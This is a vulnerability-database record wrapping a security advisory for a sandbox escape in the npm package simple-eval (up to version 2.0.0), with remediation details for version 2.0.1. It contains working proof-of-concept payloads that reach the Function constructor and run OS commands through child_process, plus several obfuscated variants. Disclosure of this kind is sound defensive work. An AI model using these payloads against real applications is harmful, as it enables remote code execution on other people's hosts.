{"uuid": "26d7bedc-1b9c-4f4a-9f84-bf79dda062e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-12735", "type": "seen", "source": "https://gist.github.com/moizxsec/24a995ba0292603e68ec5776e9348f01", "content": "# simple-eval &lt;= 2.0.0 \u2014 Sandbox Bypass leading to Remote Code Execution\n\n**Package:** [`simple-eval`](https://www.npmjs.com/package/simple-eval) (npm, ~1.6M downloads/week)\n**Affected:** `&lt;= 2.0.0` \u00b7 **Fixed:** `2.0.1`\n**Type:** Sandbox bypass \u2192 arbitrary code execution (CWE-94)\n**CVSS v3.1:** 9.8 \u2014 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n## How it was found\n\n`simple-eval` evaluates an expression against a caller-provided context and documents that identifiers are restricted to that context (per the README, `Math.floor(...)` throws unless `{ Math }` is passed). This implies a capability boundary around the evaluated expression.\n\nReviewing the evaluator showed it places no restriction on **property access** or **function invocation**, so an expression can walk the literal prototype chain to reach the `Function` constructor and execute arbitrary code \u2014 even with an empty context, defeating the documented restriction.\n\n## Steps to reproduce\n\n```bash\nnpm install simple-eval@2.0.0\n```\n\n```js\nconst seval = require('simple-eval').default;\n\n// Arbitrary host code execution with an EMPTY context:\nconsole.log(seval(\"(1).constructor.constructor('return 6*7')()\", {}));\n// =&gt; 42   (the host Function constructor was reached and invoked)\n\n// Full RCE \u2014 reaches child_process and runs an OS command:\nseval(\"(1).constructor.constructor(\\\"return process.mainModule.require('child_process').execSync('id').toString()\\\")()\", {});\n// executes `id` on the host\n```\n\nThe escape also works through bracket and computed property access and via `__proto__`:\n\n```js\nseval(\"(1)['constructor']['constructor']('return 6*7')()\", {});        // 42\nseval(\"(1)['cons'+'tructor']['cons'+'tructor']('return 6*7')()\", {});  // 42\nseval(\"[].constructor.constructor('return 6*7')()\", {});               // 42\n```\n\n## Impact\n\nAny application evaluating untrusted or semi-trusted expressions with `simple-eval` gets full remote code execution (OS command execution via `child_process`, file read/write, secret exfiltration, host pivot). The same class was rated Critical (CVSS 9.8) in the sibling library `expr-eval` \u2014 CVE-2025-12735.\n\n## Fix / remediation\n\nUpgrade to `simple-eval@2.0.1`. The fix (commit `60383e7b`) adds a runtime `FORBIDDEN_PROPERTIES` check blocking `constructor`, `__proto__`, and `prototype` across dot, bracket, and computed access. Verified: all bypass variants above are blocked in 2.0.1.\n\n## References\n\n- Fix commit: https://github.com/P0lip/simple-eval/commit/60383e7b\n- Sibling-class precedent: CVE-2025-12735 (expr-eval, CVSS 9.8)\n", "creation_timestamp": "2026-06-11T10:40:46.000000Z"}